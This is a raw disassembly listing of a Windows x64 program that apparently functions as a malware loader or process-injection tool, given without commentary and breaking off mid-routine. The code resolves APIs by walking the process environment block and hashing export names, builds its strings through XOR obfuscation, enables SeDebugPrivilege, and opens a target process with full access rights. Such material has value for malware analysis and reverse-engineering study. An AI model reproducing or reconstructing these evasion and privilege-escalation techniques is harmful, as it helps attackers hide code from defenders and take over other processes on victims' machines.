mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400155c0
mov rcx, rax
mov dl, 0xa
call fcn.140015830
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xdacc1fb419674218
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x2f8], rax
movabs rax, 0xec057092732df0c0
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x300], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x308], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6f0], rax
movabs r12, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6f8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x700], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x708], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x710], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x718], rax
movdqa xmm0, xmmword [rbp + 0x6f0]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x2e0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
xorps xmm1, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x2f0], xmm1
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x2e0]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b857
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b857
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x8121d3fe
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b852
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b830
cmp edx, 0xc15823a1
je 0x14000c253
test r8d, r8d
jne 0x14000b810
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b86d
cmp qword [rax + 0x30], 0
jne 0x14000b7e0
xor edx, edx
mov ecx, 0x1f4
call rdx
mov r14d, 3
movabs r13, 0x605043ab4d13879f
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x580], rax
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x588], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b9a7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b9a7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x72ccf6c7
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14000b9a2
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x14000b980
cmp edx, 0xb360fa2a
je 0x14000c26f
test r8d, r8d
jne 0x14000b960
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b9bd
cmp qword [rax + 0x30], 0
jne 0x14000b930
xor edx, edx
mov ecx, 0x1f4
call rdx
sub r14, 1
jne 0x14000b890
mov r15, qword [rbp + 0xb38]
test r15, r15
movabs r12, 0x4070638b6d3387bb
movabs r13, 0xf76044e67b8ceb8a
movabs r14, 0xec0570f7175f91b5
je 0x14000b140
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ba97
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ba97
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xac4604c2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ba92
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ba70
cmp edx, 0x90bb887
je 0x14000c28b
test r8d, r8d
jne 0x14000ba50
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000baad
cmp qword [rax + 0x30], 0
jne 0x14000ba20
xor r14d, r14d
mov r8d, r14d
xor edx, edx
mov rcx, r15
call r8
movabs rax, 0x607e43db4d67a7d7
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x30], rax
movabs rax, 0x82aef4fca345b63
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x38], rax
movabs rax, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x590], rax
movabs r15, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x598], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x30], xmm0
mov edx, 0xd
lea rcx, [rbp + 0x30]
call fcn.1400080a0
mov esi, eax
test eax, eax
jne 0x14000c300
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bbf7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bbf7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x5ad0f4b2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000bbf2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000bbd0
cmp edx, 0xa18b0bdb
je 0x14000c2ab
test r8d, r8d
jne 0x14000bbb0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bc0d
cmp qword [rax + 0x30], 0
jne 0x14000bb80
mov r8, r14
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x48], rax
movabs rbx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5a8], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3c0], rax
movabs r12, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xc685b5e35894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xdee35ab456264259
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x9c250296652bffda
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd60f37951eef84f8
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xaf0ef67fe104404f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3f0], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x800], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x808], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x810], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x818], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x820], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x828], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [rbp + 0x3d0]
xorps xmm1, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm0, xmmword [rbp + 0x3e0]
xorps xmm0, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x3e0], xmm0
movdqa xmm1, xmmword [rbp + 0x3f0]
xorps xmm1, xmmword [rbp + 0x820]
movdqa xmmword [rbp + 0x3f0], xmm1
lea rdx, [rbp + 0x3c0]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bf47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bf47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x7823e07b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000bf42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000bf20
cmp edx, 0xfdcf7dde
je 0x14000c2c8
test r8d, r8d
jne 0x14000bf00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bf5d
cmp qword [rax + 0x30], 0
jne 0x14000bed0
xor eax, eax
mov ecx, 0x1f4
call rax
movabs r14, 0x82aef2aca4c5b06
movabs r15, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x605043ab4d13879f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp - 0x60], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp - 0x58], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x790], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x798], rax
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x790]
movdqa xmmword [rbp - 0x60], xmm0
lea rdx, [rbp - 0x60]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c097
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c097
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x61597cc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c092
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000c070
cmp edx, 0x58dd09a8
je 0x14000c2e4
test r8d, r8d
jne 0x14000c050
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c0ad
cmp qword [rax + 0x30], 0
jne 0x14000c020
xor eax, eax
mov ecx, 0x1f4
call rax
sub qword [rbp + 0xb20], 1
jne 0x14000bf80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x268], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x270], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x278], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x260]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm1, xmmword [rbp + 0x270]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x270], xmm1
lea rdx, [rbp + 0x260]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
jmp 0x14000af00
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
jmp 0x14000b1f0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000b4cf
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000b5ff
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000b86f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000b9bf
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
xor r14d, r14d
jmp 0x14000bab3
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000bc10
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000bf5f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000c0af
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0xb28], r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7249685e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c391
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c370
cmp r8d, 0xe9e11080
je 0x14000c39b
test r9d, r9d
jne 0x14000c350
mov rax, qword [rax]
jmp 0x14000c320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
lea r8, [rbp + 0xb28]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000c41f
mov dword [rbp + 0x60], 1
mov dword [rbp + 0x6c], 2
lea r8, [rbp + 0x64]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14000c412
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x60]
xor edx, edx
mov rcx, qword [rbp + 0xb28]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0xb28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000cb26
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c4d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c4d7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2d7f9223
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c4d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000c4b0
cmp edx, 0x901b7aaa
je 0x14000cad1
test r8d, r8d
jne 0x14000c490
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c4ed
cmp qword [rax + 0x30], 0
jne 0x14000c460
mov r8, r14
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x78], rax
movabs rbx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x70]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x340], rax
movabs r12, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x348], rax
movabs rax, 0xc28892855894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x350], rax
movabs rax, 0xdfec1ffb58670350
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x358], rax
movabs rax, 0x8f6a0287372df8c7
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x360], rax
movabs rax, 0x963364c714ff98ef
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x368], rax
movabs rax, 0xaf619211e7017d06
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x370], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x830], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x838], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x840], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x848], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x850], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x858], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x868], rax
movdqa xmm0, xmmword [rbp + 0x830]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
movdqa xmm1, xmmword [rbp + 0x350]
xorps xmm1, xmmword [rbp + 0x840]
movdqa xmmword [rbp + 0x350], xmm1
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x850]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm1, xmmword [rbp + 0x370]
xorps xmm1, xmmword [rbp + 0x860]
movdqa xmmword [rbp + 0x370], xmm1
lea rdx, [rbp + 0x340]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c827
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c827
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd152812f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c822
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000c800
cmp edx, 0xddc47372
je 0x14000caee
test r8d, r8d
jne 0x14000c7e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c83d
cmp qword [rax + 0x30], 0
jne 0x14000c7b0
xor eax, eax
mov ecx, 0xc8
call rax
movabs r14, 0x82aef2aca4c5b06
movabs r15, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x605043ab4d13879f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5d8], rax
movdqa xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c987
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c987
